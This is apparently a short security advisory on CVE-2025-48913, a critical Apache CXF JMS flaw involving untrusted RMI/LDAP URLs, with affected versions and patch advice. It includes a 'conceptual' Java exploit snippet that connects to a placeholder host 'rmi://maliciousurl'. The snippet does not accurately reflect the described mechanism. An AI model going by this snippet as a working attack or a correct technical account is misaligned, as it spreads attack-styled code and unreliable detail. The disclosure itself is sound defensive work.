Overview
The CVE-2025-48913 vulnerability is a critical flaw found in the Java Message Service (JMS) for Apache CXF, an open-source services framework. This vulnerability poses a significant threat to all systems and applications utilizing Apache CXF, potentially leading to system compromise or data leakage. Given the extensive usage of Apache CXF in building and developing web services, this issue is not to be underestimated and calls for immediate attention and action.
Vulnerability Summary
CVE ID: CVE-2025-48913
Severity: Critical, CVSS Score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise or Data Leakage
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Product | Affected Versions
Apache CXF | Versions prior to 3.6.8, 4.0.9, 4.1.3
How the Exploit Works
The vulnerability stems from the JMS configuration in Apache CXF, which allowed untrusted users to use RMI or LDAP URLs. This could potentially result in code execution capabilities, enabling an attacker to execute arbitrary code on the host system. The patch restricts the interface to reject these protocols, thereby mitigating the risk.
Conceptual Example Code
Here is a conceptual example of how this vulnerability might be exploited. The following pseudocode simulates an untrusted user configuring the JMS with a malicious RMI URL:
import javax.jms.*;
public class ExploitCVE202548913 {
public static void main(String[] args) {
ConnectionFactory connFactory = new ActiveMQConnectionFactory("rmi://maliciousurl");
Connection conn = connFactory.createConnection();
Session session = conn.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("test.queue");
MessageProducer producer = session.createProducer(destination);
TextMessage message = session.createTextMessage();
message.setText("Malicious code here");
producer.send(message);
conn.close();
}
}This code would allow untrusted users to inject malicious payloads that could potentially lead to remote code execution.
Recommendations for Mitigation
To protect your systems from this critical vulnerability, it is advised to upgrade your Apache CXF to versions 3.6.8, 4.0.9 or 4.1.3, which have been released to rectify this issue. If immediate patching is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. However, these should not be considered as a long-term solution, and patching should be prioritized to ensure maximum security.